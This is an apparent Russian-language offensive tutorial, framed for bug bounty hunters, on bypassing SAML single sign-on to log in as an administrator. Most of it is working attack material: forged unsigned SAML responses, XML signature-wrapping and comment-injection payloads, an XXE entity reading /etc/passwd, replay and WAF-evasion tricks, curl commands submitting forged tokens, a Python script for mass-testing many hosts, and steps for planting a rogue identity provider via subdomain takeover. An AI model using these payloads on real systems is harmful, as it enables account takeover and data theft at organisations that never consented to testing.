Ну что, брат, сегодня разбираем, как через SAML-SSO заходить в админки без пароля. Это когда DevOps настроил “Single Sign-On” за 15 минут по гайду со StackOverflow, а проверку подписи забыл. Результат — ты Бог с curl’ом.
Что за дыра
SAML (Security Assertion Markup Language) — это XML-протокол для SSO.
Схема простая:
1. Ты идёшь на app.com/login
2. Тебя редиректит на Identity Provider (IDP) типа Okta/Azure AD
3. IDP проверяет логин/пароль, генерит SAML Response (XML с утверждением “Да, это Вася”)
4. Браузер отправляет этот Response обратно на app.com
5. Service Provider (SP) проверяет подпись и пускает тебя внутрь
Где косяк: Если SP не проверяет подпись или принимает любой issuer, ты можешь сделать свой Response, прописать там email=admin@company.com и зайти как CEO.
Типичные мисконфиги
1. Нет валидации подписи
| 
					 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20  | 
						<!-- Твой поддельный SAML Response --> <samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol"                 ID="_fake123"                 IssueInstant="2025-10-23T08:58:00Z"                 Destination="https://target.com/saml/acs">   <saml:Issuer>https://idp.target.com</saml:Issuer>   <saml:Assertion>     <saml:Subject>       <saml:NameID>admin@target.com</saml:NameID>     </saml:Subject>     <saml:AttributeStatement>       <saml:Attribute Name="email">         <saml:AttributeValue>admin@target.com</saml:AttributeValue>       </saml:Attribute>       <saml:Attribute Name="role">         <saml:AttributeValue>superadmin</saml:AttributeValue>       </saml:Attribute>     </saml:AttributeStatement>   </saml:Assertion> </samlp:Response>  | 
					
Что тут не так: Нет блока <Signature> с цифровой подписью. Если SP не проверяет её — он просто парсит XML и верит, что admin@target.com — это ты.
2. Принимает левый Issuer
Даже если подпись есть, SP может не проверять, кто её подписал. Пример конфига (AWS Cognito/Auth0):
| 
					 1 2 3 4 5 6  | 
						{   "saml": {     "idp_entity_id": "https://idp.target.com",     "verify_issuer": false  // 🤡 ВОТ ОНО   } }  | 
					
Ты поднимаешь свой IDP на https://evil.com, генеришь валидную подпись своим ключом, прописываешь Issuer: https://idp.target.com — и SP думает: “О, это наш IDP!”.
3. XML Signature Wrapping (XSW)
Классика — подмена элементов в XML через комментарии:
| 
					 1 2 3 4 5 6 7 8 9 10 11 12 13 14  | 
						<samlp:Response>   <saml:Assertion ID="real">     <saml:Subject>       <saml:NameID>user@target.com</saml:NameID>     </saml:Subject>     <Signature>...</Signature>  <!-- Валидная подпись -->   </saml:Assertion>   <!-- Вставляем левый Assertion -->   <saml:Assertion ID="fake">     <saml:Subject>       <saml:NameID>admin@target.com</saml:NameID>     </saml:Subject>   </saml:Assertion> </samlp:Response>  | 
					
Парсер проверяет подпись первого Assertion, но применяет данные из второго (если логика кривая).
Как тестировать
Инструменты
1. SAML Raider (Burp Suite extension)
| 
					 1 2 3 4 5  | 
						# Установка 1. Burp → Extender → BApp Store → SAML Raider 2. Перехвати POST на /saml/acs 3. Вкладка SAML Raider → Remove Signature 4. Меняй email/роль → Forward  | 
					
Что смотреть: Если после Remove Signature тебя всё равно пустило — jackpot.
2. SAMLTool (CLI-версия)
| 
					 1 2 3 4 5  | 
						git clone https://github.com/ernw/samltool cd samltool python3 samltool.py --decode saml_response.b64 # Редактируй XML python3 samltool.py --encode modified.xml > evil.b64  | 
					
Закинь evil.b64 в POST-запрос:
| 
					 1 2  | 
						curl -X POST https://target.com/saml/acs \   -d "SAMLResponse=$(cat evil.b64)&RelayState=/"  | 
					
3. Ручная проверка через Python
| 
					 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22  | 
						import base64, zlib from lxml import etree # Декодируй SAML Response из Burp saml_b64 = "PHNhbWxwOlJlc3BvbnNlPi4uLjwvc2FtbHA6UmVzcG9uc2U+" saml_xml = base64.b64decode(saml_b64) # Парсинг tree = etree.fromstring(saml_xml) # Находим NameID и меняем for nameid in tree.xpath('//saml:NameID', namespaces={'saml': 'urn:oasis:names:tc:SAML:2.0:assertion'}):     nameid.text = 'admin@target.com' # Удаляем подпись for sig in tree.xpath('//ds:Signature', namespaces={'ds': 'http://www.w3.org/2000/09/xmldsig#'}):     sig.getparent().remove(sig) # Энкодим обратно evil_xml = etree.tostring(tree) evil_b64 = base64.b64encode(evil_xml).decode() print(evil_b64)  | 
					
Вставляй в POST → профит.
Обход защит
Если есть проверка подписи
1. Comment Injection
Многие парсеры игнорируют комментарии при валидации, но читают весь XML:
| 
					 1 2  | 
						<saml:NameID>admin@target.com<!--</saml:NameID><saml:NameID>user@target.com--></ saml:NameID>  | 
					
Парсер валидации видит user@target.com, а логика авторизации — admin@target.com.
2. XML External Entity (XXE)
Если парсер обрабатывает DOCTYPE:
| 
					 1 2 3 4  | 
						<!DOCTYPE foo [   <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <saml:AttributeValue>&xxe;</saml:AttributeValue>  | 
					
Может дать RCE через expect:// или SSRF.
3. Replay Attack
Если нет проверки NotOnOrAfter (время жизни токена):
| 
					 1 2 3 4  | 
						# Перехвати легитимный Response # Через 10 часов отправь его снова curl -X POST https://target.com/saml/acs \   -d "SAMLResponse=$OLD_TOKEN"  | 
					
Если есть WAF
1. Обход через deflate
SAML может быть сжат через zlib:
| 
					 1 2 3 4  | 
						import zlib, base64 xml = b"<samlp:Response>...</samlp:Response>" compressed = zlib.compress(xml)[2:-4]  # Убираем zlib-хедеры b64 = base64.b64encode(compressed)  | 
					
WAF может не декомпрессировать для проверки.
2. HTTP Parameter Pollution
Отправь два параметра:
| 
					 1  | 
						SAMLResponse=legit_token&SAMLResponse=evil_token  | 
					
Веб-сервер может взять последний, а WAF проверит первый.
PoC для баунти
Сценарий: Нет проверки подписи
Шаг 1: Перехват легитимного Response
| 
					 1 2 3 4 5 6  | 
						# В Burp перехвати POST на /saml/acs POST /saml/acs HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded SAMLResponse=PD94bWwgdmVyc2lvbj0iMS4wIj8+...  | 
					
Шаг 2: Декодируй и модифицируй
| 
					 1 2 3 4  | 
						echo "PD94bWwgdm..." | base64 -d > original.xml # Меняй NameID на admin@target.com # Удаляй блок <Signature>...</Signature> cat modified.xml | base64 -w0 > evil.b64  | 
					
Шаг 3: Отправь
| 
					 1 2 3 4 5 6 7  | 
						curl -X POST https://target.com/saml/acs \   -H "Content-Type: application/x-www-form-urlencoded" \   -d "SAMLResponse=$(cat evil.b64)" \   -c cookies.txt # Чекни куки cat cookies.txt | grep session  | 
					
Доказательство:
• Скриншот с admin@target.com в профиле
• Лог запроса из Burp (покажи отсутствие <Signature>)
• CVSS: 9.1 Critical (Authentication Bypass)
Автоматизация
Скрипт для mass-testing
| 
					 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30  | 
						import requests, base64 from lxml import etree def test_saml_bypass(url, email):     saml_template = f'''     <samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol">       <saml:Assertion xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">         <saml:Subject>           <saml:NameID>{email}</saml:NameID>         </saml:Subject>       </saml:Assertion>     </samlp:Response>     '''     saml_b64 = base64.b64encode(saml_template.encode()).decode()     r = requests.post(url, data={'SAMLResponse': saml_b64}, allow_redirects=False)     if 'session' in r.cookies or r.status_code == 302:         print(f"[+] VULNERABLE: {url} | Email: {email}")         return True     return False # Массовая проверка targets = [     "https://app1.com/saml/acs",     "https://app2.com/sso/consume", ] for target in targets:     test_saml_bypass(target, "admin@target.com")  | 
					
Советы:
Три вектора для добивания
1. SAML Metadata poisoning:
Если есть endpoint /saml/metadata, попробуй заменить его через SSRF:
| 
					 1 2  | 
						curl https://target.com/admin/saml/metadata \   -X PUT -d @evil_metadata.xml  | 
					
1. Пропиши свой IDP — все юзеры пойдут через твой сервер.
2. Session fixation через RelayState:
| 
					 1  | 
						curl "https://target.com/saml/login?RelayState=../../admin/delete_user?id=1"  | 
					
2. После логина жертва может случайно выполнить действие.
3. Subdomain takeover + SAML:
Если Issuer: https://old-idp.target.com, но поддомен мёртвый:
| 
					 1 2 3  | 
						# Забирай через AWS Route53/Heroku heroku create old-idp-target # Поднимай свой IDP → вся компания ходит через тебя  | 
					
План атаки (если зацепка есть)
1. Найди SAML endpoint: Ищи /saml, /sso, /acs в Burp History или через:
| 
					 1  | 
						gospider -s https://target.com -d 3 | grep -i saml  | 
					
2. Перехвати легитимный Response: Зарегай тестовый аккаунт, логинься через SSO.
3. Тест 1 — Remove Signature: Удали <Signature> → отправь. Если работает — репорт готов.
4. Тест 2 — Change Issuer: Поменяй Issuer на https://evil.com, но оставь подпись. Если работает — ещё хуже.
5. Тест 3 — XSW Attack: Используй SAML Raider → Insert XSW → пробуй 8 вариантов обёртки.
Если застрял
• Metadata leak: Чекни /.well-known/saml-metadata.xml или /FederationMetadata/2007-06/FederationMetadata.xml — там могут быть сертификаты IDP.
• Google Dorks:
| 
					 1 2  | 
						site:target.com inurl:saml filetype:xml site:target.com "EntityDescriptor" "IDPSSODescriptor"  | 
					
• Nuclei template:
| 
					 1  | 
						nuclei -u https://target.com -t ~/nuclei-templates/misconfiguration/saml-response.yaml  | 
					
• Если всё закрыто — ищи JWT-based SSO (OAuth 2.0 misconfig) — там свои приколы с aud/iss.
Иди ломай, бро. Только помни: SAML — это боль. Если видишь XML больше 10 КБ, готовь валерьянку. И да, всегда тести на staging/test-окружениях, если есть scope. На проде можешь случайно уронить HR-систему и получить не баунти, а повестку. 🏴☠️
															


